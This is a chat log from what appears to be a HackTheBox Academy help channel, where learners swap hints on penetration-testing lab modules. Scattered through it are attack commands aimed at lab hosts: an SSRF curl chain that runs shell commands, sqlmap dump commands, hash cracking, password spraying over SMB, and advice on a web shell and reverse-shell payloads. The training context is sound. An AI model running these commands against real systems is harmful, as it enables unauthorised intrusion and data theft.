modules

[graceful rampart]

👍

[dim cosmos]

password attacks medium was an interesting turn of events....

[quasi wave]

how well recognized is CREST?

they are partnered with HTB Academy

lol

I'm thinking after security+ I might as well to the CREST penetration testing skill path

it only would make sense

depending on if CREST is a good place to get penetration testing certs from

in terms of HR

[woeful ermine]

I was wondering the same thing myself. If I am not mistaken, you need to get CPSA before getting CRT

CPSA is a multiple choice exam

after reading and all I think I go with comptia + security

it is more accepted and known by HR and companies looking for it

I ll go with CPTS then offensive sec certs

they are kind of the best but quite expensive when compared with others

[leaden lichen]

Guys i have a confusion in "Using web proxies" Module (i.e. Repeating Requests

) Can someone assist me? Thanks

Unable to find the flog

[woeful ermine]

which part

[normal lagoon]

Hey, I'm working on the Active Directory Bloodhound module, and I'm having a problem uploading the zip in Bloodhound

getting this error:

I tried using Kali and PwnBox. Same error. I did some Googling and I think they used SharpHound.ps1. Can anybody get this to the right people to perhaps run the SharpHound.exe ingestor?

Okay, I just pimpmykali and used the "fix Bloodhound' option. Seems to be working now on my Kali! Nice!

[drowsy bane]

Hey Folks, could anyone recommend a module that covers aws security? When I search for it it turns up a load of modules, then doesn’t mention it in the summary of the module 😂

[acoustic owl]

As far as I know, there are currently no modules on the topic of AWS Security

[drowsy bane]

Huh weird, it comes up as quoted text when you search for it

How about for general WebAppSec, I’ve done the basic ones

[drowsy bane]

Cheers mate

[acoustic owl]

There are many modules
Blind SQL Injection
HTTPs/TLS Attacks
File Inclusion
SQL Injection Fundamentals
SQLMap Essentials
Cross-Site Scripting (XSS)
Login Brute Forcing
Broken Authentication
Command Injections
Web Attacks
File Upload Attacks
Server-side Attacks
Session Security
Web Service & API Attacks
Introduction to Deserialization Attacks
Attacking Authentication Mechanisms
Introduction to NoSQL Injection

[drowsy bane]

Cool you been looking into these, had been considering the deserialisation intro one, only a little was covered in starting point

I feel there’s tonnes more to learn there

[green bolt]

As you now have the name of an employee, try to gather basic information about them, and generate a custom password wordlist that meets the password policy. Also use 'usernameGenerator' to generate potential usernames for the employee. Finally, try to brute force the SSH server shown above to get the flag.

[green bolt]

plss help me with this question

[rustic sage]

Any solution to do the exercise with PetitPotam and PrintNightmare in Bleeding vulnerabitilies module, in AD section? NoPac seems to be the only tool to work weel

[green bolt]

anyone can help with this

[novel matrix]

No. Read the #rules

[rustic sage]

Hi! I'm stuck at SSRF Exploitation Example. I managed to run the following command:

||curl -i -s "http://10.129.201.238/load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/runme?x=ls" ||

but whenever I try anything with a space, for example, the following command:

||curl -i -s "http://10.129.201.238/load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/runme?x=uname -a" ||

I get the following error returned:

||URL can't contain control characters. '/load?q=http::////127.0.0.1:5000/runme?x=uname -a' (found at least ' ')||

Does this mean that this way of doing it as described in the exercise is not the way to do it? Can somebody help me 🙂

[novel matrix]

@green bolt Spam that in every channel will just result in you getting a mute.

[green bolt]

ok

[green bolt]

so i have any doubt than how should i solve ?

[novel matrix]

You can either wait for a response or wait for a response but also google and find your answer in the mean time.

[green bolt]

yes u are right but on google i can't find it

[solemn moss]

i know how to know ip page from cmd

[dim cosmos]

Use the resources provided in the module

[green bolt]

ok thanks

[dim cosmos]

all those password list problems dont rely on rockyou etc

you need to create personalised username and password lists

(i.e. the point of the module)

[orchid jungle]

Hi! Anyone know if with the "Silver Annual" plan I can access the Tier III and IV modules?

Or just until the Tier II.

Ok, that was my fear. I'm in doubt because there are a lot of Tier III modules that I would like to do too. Maybe is better to contract the Platinum subscription.

[solemn moss]

ping (url adress)

in cmd try

[rustic sage]

Solved it. It's way easier than I thought lol.

[azure cloak]

I can’t find fqdn of x.x.x.203 in footprinting module, I try many ways but can’t find it. Any clues ?

[turbid salmon]

I try to finish the module ACTIVE DIRECTORY ENUMERATION & ATTACKS but I'm stucked on a question in the section AD Enumeration & Attacks - Skills Assessment Part I

I found an NTLM hash fdxxxxxxxxxxxxxxxxxxxxxxxxxxxx3a

Then, I used hashcat -m 1000 /tmp/hash.txt /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
But I didn't find anything.

What am I doing wrong?

[shadow canopy]

in the Footprinting module > Cloud Resources > Google Search for AWS
intext:<text-covered> inurl:amazonaws.com

how to replicate this. text is covered. not sure what to search for

[sly kelp]

I need to confirm an answer from Introduction to active directory module >>Examining group policy section can i dm someone?

[tidal kelp]

Module Name: Attacking Common Services

Section Name: Attacking SMB

i have run this cmd ~/Tool/CrackMapExec/cme smb 10.129.203.6 -u 'jason' -p pws.list --local-auth , but i got nothing. can i dm someone for help? (PS: i got it)

[rustic sage]

where is general

[novel matrix]

#welcome

[tribal jetty]

I have spent almost a week on the one question, where is the students mail. I have found it......mail:/var/mail:/usr/sbin/nologin
I have chopped that path up many different ways as well, to get it to work. I have tried both the etc command and the env command. I have tried everything. Im not trying to rag but I think you should take that questioon off there, I have wasted alot of time with it. either its broken, or Im just not doing it right. here let me paste the whole line.
mail❌8:8:mail:/var/mail:/usr/sbin/nologin

define path, is that different than pwd? What am I suppose to learn from this question. Thats the main goal anyways. I think ive got the searching path thing down pretty well ll, ls -a , pwd, cat /etc/passwd, uname -a,. Ive been down every file on the students shell

[runic rover]

Hello, everyone i'm trying to complete Skill Assessment for "File Upload Attacks" when i'm trying to upload the file it's using get request to file upload and just name is being sent to server side. any hint where to start. i can see upload.php in script.js but don't know what to do ?

[solemn moss]

Hey can u help me with know what everybody do in my wifi

Spy other in wifi

[shadow canopy]

try read source code of upload.php

[runic rover]

How by sending GET Request ?. I'm kind a confuse ?

[shadow canopy]

in the module it shows methods to read source code like php wrappers

[runic rover]

So i need to craft a POST request from scratch. because i can not see any post request going on, when i try to upload file.

[shadow canopy]

i think if you can upload an image to find source code
look at section (Limited File Uploads)

[runic rover]

Thanks mate.

[turbid salmon]

Is there someone that has finished the ACTIVE DIRECTORY ENUMERATION & ATTACKS module? I am stucked on trying to crack a NTLM hash since 3 days 😦

[proud pine]

If you're meant to crack it, it should usually crack within the first few minutes.

[turbid salmon]

You're right but I have not any other idea. Basically, I am on a question that tells me to find a password, and all I have is the NTLM hash. I searched for files that could contain a password. I also search for it on the description of the user: nothing). Have you completed this module?

[proud pine]

DM me

[plain coral]

You need to find the DNS zone that contains multiple subdomains. Then you will need to brute force a particular second level subdomain i.e *.blog.example.com.

[azure cloak]

I found dev, mail, app

Dev contains multiple subdomains

Thank for you answer

[plain coral]

Make sure you use a wordlist that resembles being ferocious and forceful, like a lion.

[limpid raft]

Hi guys, i'm stuck at Internal Password Spraying - from Windows. I try to find the user with password 'Winter2022.'. When I run the ps script as shown in the module it just doesn't write anything to the outputfile ;/ Can anyone help me?

[rancid pivot]

Hello guys, I just join this community, want to try learn from here, I'm already stuck at the first module,
It ask me " Based on the commands executed, what is likely to be the operating system flavor of this instance?
Linux htb-uxufv3qysx 6.0.0-12parrot1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.0.12-1parrot1 (2023-01-12) x86_64 GNU/Linux "
And I obviously answer :
"The operating system flavor of this instance is likely to be a version of Debian Linux. The text "Debian 6.0.12-1parrot1" in the output of the command gives an indication that this particular version of Linux is based on Debian and version 6.0.12-1parrot1."

But its not working, wont give me right.. help me please!

[buoyant escarp]

Name and section of module?

[wheat adder]

i would like to subscribe to the student plan but i currently dont have access to it and i dont know what an academic email is

[rancid pivot]

Introduction
like second section

[proud pine]

Take a peek at the hint button, next to the question. It should give you what you need.

[buoyant escarp]

Dm

[leaden quail]

Which section?

yeah sure

[fathom pendant]

Academic email is an email given to you by your school

[wheat adder]

Okay thank u

[leaden quail]

I want to sent a file from my linux host to a windows host in a internal network (which offer ssh)

im using proxychains scp text.txt mlefay@172.16.5.35:C:\Users\mlefay\Desktop

[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] Strict chain ... 127.0.0.1:9050 ... 172.16.5.35:22 ... OK
mlefay@172.16.5.35's password:
scp: Connection closed

but the upload does not work

is my syntax correct?

[wispy pulsar]

can someone help me with password attacks-Network Services, i got all the questions except the one about rdp, i tried using the given passwords and username lists with crackmapexec and hyrdra but got nothing

[dim hemlock]

Hi all I hope you are having a good day. I have got a question about a question from Password Attacks Module:
Create a mutated wordlist using the files in the ZIP file under "Resources" in the top right corner of this section. Use this wordlist to brute force the SSH password for the user "sam". Once successful, log in and submit the contents of the flag.txt file as your answer.
I have created the file but there is 94044 tries to be done. Is this how its suppose to be

[flint depot]

guys

I need help

Here is my problem

I'm using a windows computer and my other hack computer isn't working anymore but I wanna continue hacking, so I need to download linux on a windows computer but im worried that it will erase all my stuff from windows

so I downloaded Virtual Box but what is its use?

what do i do guys

I NEED HELP

pls

[sly tapir]

if this isnt related to a module, i would take this general chat, or community help... VirtualBox allows you to run multiple OS at the same time.

[flint depot]

bro

I on't have the general channel

it doesn't show up on my screen

[sly tapir]

you need to verify yourself

[flint depot]

didn't i already did that

where do i verify

[sly tapir]

#welcome

[flint depot]

thx

[kind sable]

Hey can someone help me 2 install open vpn and configure it for labs? thx

[sly tapir]

what module?

[kind sable]

Im using parrot os

[kind sable]

Like i mean i can't find where 2 donwload openvpn

When i donwload it it saves at .exe

and im on a linux machine

[sly tapir]

open terminal and type sudo apt install openvpn

[kind sable]

OK

[kind sable]

Done tysm

Also another problem is that when i try to use telnet it gives me this error telnet: Unable to connect to remote host: Connection timed out

[graceful rampart]

This is not related to Academy modules. Please don't have this conversation in here

[placid quest]

@flint depot why not visit YouTube

[kind sable]

Ok , sorry

[sly tapir]

I dont understand how people can see Academy modules chat when not verified, but cant see the general chat...isnt that backwards

[fathom pendant]

Because gen chat is somewhat contained... And more ruthless to people being not smart "hack this pls"

[flint depot]

idk

[rustic sage]

Hello, I'm stuck at SQLmap essentials ~ Attack Tuning. I have to get the content of table "flag6" - "Detect and exploit SQLi vulnerability in GET parameter col having non-standard boundaries". I use this command sqlmap http://167.99.195.247:32676/case6.php?col=id --random-agent --batch --dump --prefix='`)' --level=5 --risk=3 but it doesn't give me any injections. Could anyone give me a hint please?

[placid quest]

@flint depot https://youtu.be/8mns5yqMfZk

[flint depot]

yea

thanks

[kind sable]

Is there any way to put the academy on spanish?

[placid quest]

@flint depot no problem

[graceful rampart]

I mean, to be totally honest thats the best response to those messages 😆

[rustic sage]

solved it, i did put the correct prefix on dc but didnt use it

[graceful rampart]

Reread that section. There's a part of it that tells you exactly what you need to do

[rustic sage]

👍

[graceful rampart]

You don't need GO in mssqlclient

[rustic sage]

One question, how could I've known that the prefix was ´)'? that was the hint

[graceful rampart]

A bit of educated guessing.

[rustic sage]

but there could be so many possibilites right?

[graceful rampart]

Yes

[rustic sage]

Why doesn't SQLmap work if I use ?col=1 instead of ?col=id ?

[graceful rampart]

Because col=1 is not the correct amount of columns. Idk why it works with col=id

Count the number of columns on the oage lol

[rustic sage]

well there are 5 columns

[graceful rampart]

Well sometimes sqlmap has issues detecting how many columns there are. So you need to tell it how many columns there are

[rustic sage]

--union-cols=5 right?

[graceful rampart]

Yes

Cuz again, there are 5 columns

[rustic sage]

thanks, i got the flag

[fathom pendant]

I believe it's because id may be the name of the column

Or some SQL nonsense

[graceful rampart]

Well yea, logically that's the only thing that makes sense

But actually no. Why would that work.

[fathom pendant]

SQL is something I want to dive deep into, but also don't

Like even just to understand some of the why's

[graceful rampart]

Lmao. SQL is... SQL. I had a professor for my intro to databases class last semester who said "If your a bad database administrator, you'll make yourself vulnerable to SQL Injection"

I got up and walked out of the room

[tidal kelp]

can i dm you?

[graceful rampart]

I mean, I guess, but I can't promise I'll get back to you right away

[tidal kelp]

have you done this section?

[graceful rampart]

Yes

[kind sable]

It exist any module that teach you to program or I have to learn that on other websites?

[brisk geode]

what u meant by program?

depends on that

[kind sable]

For example phyton or powershell

[graceful rampart]

One does not simply "Learn to program"

[kind sable]

Ik

[brisk geode]

theres a module on python and powershell as well ig

[kind sable]

Ok thanks

[raven cairn]

Hackthebox probably won’t be the best place to learn to program. Pick up python, and watch a course on freecodecamp.

[graceful rampart]

^^

[raven cairn]

Then just screw around and learn the ins and outs

Make games, make applications, start a github, etc.

You learn programming by doing.

[graceful rampart]

You learn tech in general by doing. Dosent matter what specific subject you chose to focus on

[solid python]

Running into an issue with the medium lab on the enumeration with nmap module

[tidal kelp]

can i dm you for help? mssqlclient.py WIN-02/mssqlsvc:XXXXXXXX@10.129.203.12 -db flagDB i can't access via mssqlclient (PS. I got it)

[solid python]

Despite following examples given in the prior page regarding version detection against filtered ports, the port remains filter regardless of the source port I specify

[graceful rampart]

use the --windows-auth flag

[buoyant escarp]

I hope there comes a module for xxe :/

[acoustic owl]

Have you looked at this module?
https://academy.hackthebox.com/module/details/134

[buoyant escarp]

No, thx tho

[runic rover]

Hello everyone, i'm trying to complete Skills Assessment - File Upload Attacks when i'm trying to upload file and every time i get Only images are allowed i tried all of Content-Type and and added magic byes nothing working. Any Hint ?

[acoustic owl]

Upload a regular image and then change the content. But not the Magic Byte. Then it should work

[runic rover]

How do i upload image because i tried uploading it via "Contact Us" form but it's not taking as POST request. File is being uploaded as GET request with no file content.

[upper lake]

hi everybody, I am at the nmap hardlab, I found the missing port and I am trying to get the version, but had no luck so far. I also tried with netcat, but could not connect. Someone any more hints on this one? I would love some support on this one

[rustic sage]

Why doesn't sqlmap http://143.110.166.29:32448/case9.php?id=1&uid=1947156619 --randomize=uid --batch --dump work insted of sqlmap -u "http://143.110.166.29:32448/case9.php?id=1&uid=1947156619" --randomize=uid --batch --dump?

[acoustic owl]

Wait, you uploaded an image and get an error message and now you're asking where you can upload an image? I am confused

[graceful rampart]

cuz in the first one you didnt supply the -u flag so sqlmap dosnt know what its attacking

[rustic sage]

but i didn't need the -u flag at most of them before

[runic rover]

I crafted a POST request after seeing "/contact/upload.php" on script.js as I had done in the earlier section "Limited File Uploads"

[wicked flicker]

Hi guys, i'm having problems with the section brute forcing cookies of Broken authentication module? Any help?

[graceful rampart]

https://dontasktoask.com/

[wicked flicker]

I'm trying to fuzz the role with some Seclists, and embed to the cookie to encode it, but no results, i'm using burp intruder: add prefix and sufix, and encode it (ascii hex - base64); but no results

[acoustic owl]

Then upload a file there

Try to read and understand the source code.

[runic rover]

I'm confused about how to bypass the mime-type filter.

[acoustic owl]

DM

[acoustic owl]

This question is confusing. I know…
In this case the role is || super ||

[wicked flicker]

Appreciate u man

[azure cloak]

Like a lion? 😂🤔

[fathom pendant]

I think saying like a lion might make him look for a wrong list. But the descriptors definitely a good hint

[thorn urchin]

lions are pretty fierce though

[marble raft]

After banging my head against the keyboard and getting some help from @west canopy i finally managed to pass the Predictable Reset Token section on Broken Authentication module, these are some tips that will nudge in the right direction and avoid frustration.

Use the script bellow for Q1

pastecode.io/s/m58pup5y

The server runs on GMT time, most of the trouble that i had with online epoch converters is that they would convert to my timezone not GMT, and the time needs to be in milliseconds, otherwise it won't work.

Pay attention to that, otherwise you won't get the flag.

For Q2 the temp password follows the same pattern both for the htbuser and the htbadmin and is encoded.
You need to discover how it was encoded and if it was double, triple or more encoded.

You can use a cyberchef or any other online, i recommend dencode.com for easy of usage.

After you get the cleartext, change what it needs to be changed then encode it back to login.

[rustic sage]

How do I get the final flag at the SQLmap Essentials Assessment? I found the a***.php site with the ID data param but it doesn't seem to be injectable. I found no other attack vector. Could someone give me a hint?

[sly tapir]

i dont know if this is a hint, but did you save that burp request as a file and run sqlmap with -r sometimes that helps, and I have had better luck that way

[devout torrent]

So in Shells & Payloads- The Live Engagement module, I am using EternalBlue to try to get to the server :

but everytime i run it says

Exploit completed, but no session was created.

[rustic sage]

will try it

[devout torrent]

I tried different payloads but i keep getting the same thing

[sly tapir]

filename.req <--- ippsec saves it like this, so thats how i have been doing it

[graceful rampart]

There's more than 1 exploit for MS17-010

[rustic sage]

When I do sqlmap ... --data='id=1', is that considered JSON? no right? this is: sqlmap --data='{"id":1}'?

[graceful rampart]

Yea. You have to do it the second way

[sly tapir]

i dont think thats needed if you run the file.req with sqlmap

[rustic sage]

ok thanks

[graceful rampart]

Yea. If you save the request it'll already be formatted properly

[rustic sage]

think i got the injection, but why is typing sqlmap it so slow?

types character by character

[graceful rampart]

Cuz its doing a time based injection

Yes, it's painfully slow. No, there's nothing you can do about it

[rustic sage]

Ok 😦

[devout torrent]

well that was khm awkward 😄

Ty for the hint

[graceful rampart]

Np

[rustic sage]

The flag is slowly comin up ^^

[ripe terrace]

It's probably because in your first example the URL contains special bash characters, e.g., &. While the second has the URL wrapped in quotes meaning those characters are interpreted literally.

[rustic sage]

yea i think thats it, thanks 🙂

[high sentinel]

& has special meaning in the shell. I would recommend doing some linux command line basics

[high sentinel]

in certain cases you can use something like --threads 8 to speed it up

[sly tapir]

dude, i spent hours doing this Footprinting - medium lab, and I have tried the same thing multiple times--- reset the server twice and then it works

[mint cape]

Hi,

could someone help with Assessment 2 for noSQL injection, please?

I have tried much payloads and have no idea, how to pwn it, please help

[high sentinel]

i could try, haven't done any academy stuff but i'm quite familiar with nosqli

What's the issue you're having?

[mint cape]

I have tried to execute payloads, but it doesnt work

you need ip for testing or what ?

[high sentinel]

what do you mean by "execute payloads"?
ip for testing? 😄 what? 😄

afaik most of the modules is setup in a way that you can interact with them from htb vpn

[mint cape]

ok, i will try

you mean, I can connect to ip, which was given me for testing (HTB lab)

[high sentinel]

i stil don't get what exactly you mean by that. Are you using htb vpn to access the vulnerable environment?

like can you see the stuff that you're supposed to be hacking?

[mint cape]

no, i don't use vpn

[high sentinel]

^

[fathom pendant]

Are you using the pwnbox?

[mint cape]

yes, i mean it, is it possible ?

[mint cape]

no

[fathom pendant]

You are using your own vm?

[mint cape]

no

[fathom pendant]

So you are using the virtual machine from the website

[mint cape]

right now, i have swithed to my windows pc without vpns or so on

and i have opened it

[fathom pendant]

That may be why if you it an IP that is 10.x.x.x you need to attack it using a VM through the VPN or through the pwnbox

[mint cape]

it's web application

ip is 161...*

[high sentinel]

oh it's publicly available?

[mint cape]

yes

[high sentinel]

you don't need vpn then

[fathom pendant]

If it's a web app you should be fine to access it wherever. But it is not recommended to use a Windows machine to do any of the enumeration or anything like that through tools

[mint cape]

yes, i also have kali instance on that pc

(not kali VM)

[fathom pendant]

So you are dual booting with Kali

[mint cape]

yes, something like this

[fathom pendant]

Were there any template payloads that they gave you, or examples that you can follow? Sometimes if you're given a template command, you need to change the IP to match the target so it can execute

[mint cape]

that's the last task - no additional info, except it has noSQL injection and ip

[fathom pendant]

Within the module I mean

[mint cape]

within the module - I have tried each payload

and it doesn't work

[marble raft]

Any help on Skills Assessment - Broken Authentication?

[quasi moth]

Hello, I have a biiit problem in Login Brute Forcing module, Service Skills Assessment, the last task. I know the user, and try to bruteforce FTP localhost using rockyou-30, but still that doesn't help

[sly tapir]

could someone give me a nudge with Footprinting - Medium. I'm logged in as Administrator, think im stuck due to lack of MSSQL exp...

[high sentinel]

whats the exact issue you're having?

[sly tapir]

||I have looked around for HTB user password, but I dont see anything...not sure if I just dont know how to manuever around in MSSQL or what.. i have looked all through the db||

[high sentinel]

i'm not familiar with any of the academy stuff so i would probably need more context on that. I assume you've pwned db somehow and now you're at the point where you're supposed to get user flag. Have you tried doing code exec directly? ie xp_cmdshell

[sly tapir]

nope..didnt even know how to do that...i will look it up on google

[high sentinel]

maybe try using stuff like payload all the things

that's somehow educative on sqli or just direct db interaction

@iron plaza need help? 😄

[iron plaza]

lool yea and I was typing an essay and deleted it when I saw your message

[high sentinel]

that's the reason why ctrl + x exists 🙂

just ctrl + a, ctrl +x, type new message, ctrl + v 😄

[iron plaza]

With regards to the second question in the Shells & Payloads' Live Engagement I have uploaded the ||cmd.war|| file from ||laudanum ||in the manager's section then went to|| .../cmd/cmd.jsp|| and placed my commands for cmd... I got hit with systeminfo and whoami but when I try dir or anything else it gives error so how I do go about browsing the C:\ directory or am I missing something?

[high sentinel]

what kind of error?

[iron plaza]

like random java error from the site

[high sentinel]

does just dir work?

[iron plaza]

seems the shell is not a full fledged shell

[iron plaza]

no it does not

[high sentinel]

hmm

is it in vpn or publicly available?

[iron plaza]

vpn and can only be accessed by rdp-ing to the foothold first

[fathom pendant]

It's in the sql db

[high sentinel]

what if you do ping /n 5 your.box while looking at the traffic (do you get hit?)? have you tried using reverse shell?

[sly tapir]

Ok ill look around again—ty

[high sentinel]

sorry for misleading info

[sly tapir]

No worries

[fathom pendant]

If you're RDP in it's a bit easier

[iron plaza]

the module does require me to upload a reverse shell which I did and got it accepted hence how i was able to get hit with systeminfo and whoami

[high sentinel]

rev shell is not the same thing as cmd exec payload

[sly tapir]

Yup, thats what i did

[high sentinel]

rev shell -> you get a session back to your box
cmd exec -> http://box/cmd.jsp?cmd=whoami

[fathom pendant]

Navigating the sql ui is a bit of a pain

[sly tapir]

Ill open my eyes and look again 😂

[iron plaza]

sorry my bad it was a shell ... the upload section accepts a .WAR file

[high sentinel]

so you have a rev shell?

[iron plaza]

no I dont have a rev shell I only get the cmd exec

[high sentinel]

ok, i thought that's the case. At that point you likely want to get a rev shell for ease of use but there might be issues with the actual shell execution because you're having issues using dir. I would try to carefully look at the error message you get while using dir and then possibly compare it to something like dir c:\. If you manage that to work somehow, i'd get a rev shell afterwards

thinking about it, you can possibly also create a payload that's just a rev shell itself and not a cmd exec payload, i assume you've used msfvenom to generate the payload. If that's the case you just use different payload when generating and that should be it to get a rev shell more easily

[iron plaza]

I probably have to tinker with it ... The only other thing I can think of is uploading another type of shell and relabel it as a WAR file through burpsuite

[high sentinel]

yeah, as i've said you can try uploading actual rev shell payload instead of cmd exec payload

[iron plaza]

thanks ... will try that

[analog tendon]

Hey guys. im having an issue on the nmap firewall medium lab. is it asking for the version number of the DNS service or just the version name? im able to get the version number of just about every other service except the DNS

is there anyone that could point me in the right direction?

[acoustic owl]

Consider which protocol DNS uses by default

[wheat garden]

could also slow down the number of packets your sending

think with -t switch

[analog tendon]

ive done a UDP scan with version detection and tried a version detection script. same as the others

[analog tendon]

i can try slowing it down ill let you know what happens

[analog tendon]

seems to be the same

[acoustic owl]

Which script did you use?

[analog tendon]

i tried quite a few. do i need to use the filter to put them up here?

[acoustic owl]

Try it with || dns-nsid ||

[analog tendon]

thats one that i tried.

got the name. not the number. name was wrong

[acoustic owl]

DM

[rustic sage]

yo mods, how is my name "Alpha" breaking the rules?

[novel matrix]

Wrong section to be asking but, please read the #rules

[rustic sage]

rule 10 is so.. messed up

[high sentinel]

did you figure it out?

[analog tendon]

I did. issue was with my Parrot tools. tried on pwnbox and it worked

[high sentinel]

huh, nmap should work the same everywhere regardless of distro used

[fathom pendant]

Most likely just needed to reset the VPN connection

If it worked on pwnbox and not on vm

[analog tendon]

idk. ran it on my VM instance and the script didnt run. ran the same command on pwnbox and the script ran

i was able to get everything else except that specific script to run

guess i need to do some updates

[high sentinel]

did it somehow error out?

[analog tendon]

no. just didnt do anything

[fathom pendant]

Probably update

[analog tendon]

acted like i just did a normal udp scan with no zcripts

updating now

[fathom pendant]

Or just version difference, did you catch the nmap version on pwnbox

[high sentinel]

i wouldn't think a slight version difference could cause nmap to not scan dns

[analog tendon]

both are 7.92

[high sentinel]

is your vpn working just fine on your box?

[fathom pendant]

and you were able to scan it just fine ¯_(ツ)_/¯

[high sentinel]

(can you ping the box just fine?)

[analog tendon]

yes. all scans worked as they should. just not the script

sorry not that particular script

[high sentinel]

interesting, no clue what that's about

[fathom pendant]

Weird

[analog tendon]

im gonna work on it before continuing. if its not working now it could cause me issues later. thanks everyone for all the help. im sure ill be back here soon lol

[high sentinel]

if you really want to try to figure out what the issue is, you could use verbose/debug flags on nmap or look at the flowing traffic, that could possibly help

[analog tendon]

i just may do that too.

[sly tapir]

Finally got it! Man, I was so focused on something else

[analog tendon]

[acoustic owl]

Check if the script is even present on your VM. It may not be present at all

Or watch the HTB AMA video. There is also this question

[marble raft]

Hey Bunny, could i get some help on the Broken Auth Skills Assessment? I'm having some trouble on figuring what to do next

[sterile thistle]

Hello can someone please help me figure out why redis for redeemer isn’t working

When I ping the server, I get Pong I full connect with it but the second I type a command to pull or see data from the server the server stops

[acoustic owl]

sure, DMme

[analog tendon]

well it is there. i can see it in the /usr/share/nmap/scripts folder and i can cat it out and it shows a script. maybe i just need a reboot

[fathom pendant]

Redeemer is a #boxes question; to see that channel- verify your HTB account in #bot-commands per #welcome

[high sentinel]

i think someone was asking about that recently as well in here, isn't it really part of academy? i don't know myself, haven't done any academy stuff

[fathom pendant]

It's not

HTB standard site w/boxes is separate from academy, different accounts - it would be cool if they would merge them

[high sentinel]

i thought it was more like starting point boxes vs regular boxes - it's pretty much the same from my point of view

[fathom pendant]

I told you the better place to ask your question

This channel is for modules on htb academy

[sterile thistle]

Oh sorry I just saw it and thank you

[mild sky]

okay i searched the forums for answers and still could not figure it out, zero issues with thm vpn and connecting so i don't think i am doing anything wrong. problem is it says both lab and starting point are connected but i can't even ping the damn box.. whats up? not a paying member yet, are these dead machines?? wtf?

also switched from udp to tcp, nothing..

[fathom pendant]

Take a step back; what is the machine you're trying to attack, what module is it on, if it's related to the #starting-point boxes on the main site check there

[mild sky]

hmmm

[fathom pendant]

Also you need to be on the htb VPN, benefit of the doubt that's what you meant

[pliant parrot]

hi

[mild sky]

it does connect, i think i am trying to access paid shit idk

perhaps that is why i cannot ping box

[fathom pendant]

If it's not a 10.x.x.x format then it may be a web server you're trying to access, in which case it will be formatted as ip:port

[analog tendon]

ok guys update from the issue earlier. I moved over to my kali box and was having the same exact issue. but i noticed i was using the TCP VPN connection. I then downloaded a fresh UDP connection file and connected that way. reran the exact same command that worked on the pwn box and was able to get the script to get the bind.version to show up. idk if this will help anyone else having the issue or prove im an idiot but hey thats what i discovered

[fathom pendant]

If it is a webpage then try navigating through your web browser

[mild sky]

er

[fathom pendant]

But you're not telling us what module or content you're attempting

Starting point machines are free on the htb main site

So it shouldn't be an issue of "paid content" but you're freaking out and not actually providing much info aside from "I can't connect" which really doesn't help

[mild sky]

not freaking out lol, many ctf platforms to pop

[bright ridge]

you are giving useless info though, @mild sky

how about actually answer him?

[mild sky]

settle down

go dictate elsewhere

[fathom pendant]

Cool won't help you then

It's also possible the box is not able to be pinged at all, sometimes that is the case

But accessible via other means

[graceful rampart]

I said this to someone a few days ago, and I'll say it again here. Nobody is obligated to help you. If someone takes the time to try to help you sort out your issue the least you can do is be nice to them. They get nothing out of helping you and are doing so solely to be nice. If you decide to be an ass you're not gonna get help, simple as that

[fathom pendant]

Anyway that's all the help that can be offered with the limited information provided

99% of the time with content, it's a user issue not a box issue

[mild sky]

this is true

[mild sky]

mmmk

nice place you guys have here

:^)

[fathom pendant]

It is nice

As stated, without much other information not much we can do to assist you

[mild sky]

it's okay i'm doing other ctf's anyways, figured i sign up to htb is all

[graceful rampart]

Just stop bothing lol. After reading your conversation I'm convinced he's just trolling

[fathom pendant]

Same

[fathom pendant]

If you're still connected to a different VPN that may be an issue btw

[mild sky]

nah, ran sudo killall openvpn then reconnected and still same issue, ill look more into later it's no big deal

[fathom pendant]

Just throwing darts at the dartboard

[compact garnet]

So, I was able to solve the “enumerate the SMTP service even further and find the username that exists on the system” I did this using the smtp-user-enum tool. And yet, for some unknown reason to me, they all showed up as “no result” so then I went an manually VRFY each user via telnet and one of them finally showed code 252 🙂 …could someone explain to me why this happened? Just wondering why the smtp-user-enum displayed the answer as no result 😕

[mild sky]

cool, are you making writeups?

[graceful rampart]

What was the commend you used?

[fathom pendant]

Did you use the provided wordlist?

[graceful rampart]

Writeups for any modules above teir 0 are strictly forbidden

[fathom pendant]

I doubt they even know what academy is tbh tux

[graceful rampart]

Fair point

[fathom pendant]

Sounds like they're stuck on the starting point box

[graceful rampart]

God, they really gotta put this channel behind verification

[fathom pendant]

But seeing as they probably don't have reading comprehension: they probably didn't read #welcome

[graceful rampart]

🤷‍♂️ honestly I couldn't care less. They clearly showed they don't want help

[acoustic owl]

The server needs some time to react. There is a parameter in smtp-user-enum for this.
The default value is too fast and the server cannot respond to the request. Therefore you get this answer

[graceful rampart]

Ah yea, that's it. Been a while since I did that module

[compact garnet]

Ohhhh, I see...Is there any way to change such default value? Im just curious that's all.

[acoustic owl]

https://www.kali.org/tools/smtp-user-enum/

[fathom pendant]

^

[compact garnet]

hmmm I see, apparently it only waits for 5< seconds for a reply by default...so that's why! 😅 well, now we know

[fathom pendant]

Yeah telnet is a slowwww service

I think that w argument that is most common is 15

[floral sandal]

guys do u face VPN issues ?

[dim cosmos]

Small (timesaver) for the Password module HARD please ! - for the Johanna account i realise i need to use the hashcat applied custom rules to the password list in the resources - but did you also apply the password policy rules from earlier in the section to reduce the size of the mutated password list? i.e. remove shorter than 8, remove no special chars, remove no numbers ? thx

[dim cosmos]

Got it, all good, always post before waiting long enough lol

[sly tapir]

footprinting hard lab was fun, better than the medium

[buoyant escarp]

Ya big loading times

[coarse oak]

Anyone available to assist with the flag.txt location on Attacking Common Applications - Skills Assessment II please? I've tried searching with ||find / -name flag.txt 2>/dev/null|| and ||find / -name flag* 2>/dev/null||, but I'm not finding it. Are we supposed to priv esc here?

[compact garnet]

omg I finally completed all tasks on the IMAP/POP3 module...man, accessing those emails for the flag was a bit confusing...I just wasn't used to those imap commands at all...but i finally got it...after 5 hours 😩

[buoyant escarp]

Maybe it has some chars at start *flag*

[placid quest]

@compact garnet next time try with evolution

[quasi moth]

Hello, I have a biiit problem in Login Brute Forcing module, Service Skills Assessment, the last task. I know the user, and try to bruteforce FTP localhost using rockyou-30, but still that doesn't help

[placid quest]

@quasi moth I am on that selection and think u will use the password list that u created

[quasi moth]

Hmmm, I'll try this one

[placid quest]

Yeap give it a try

[dim cosmos]

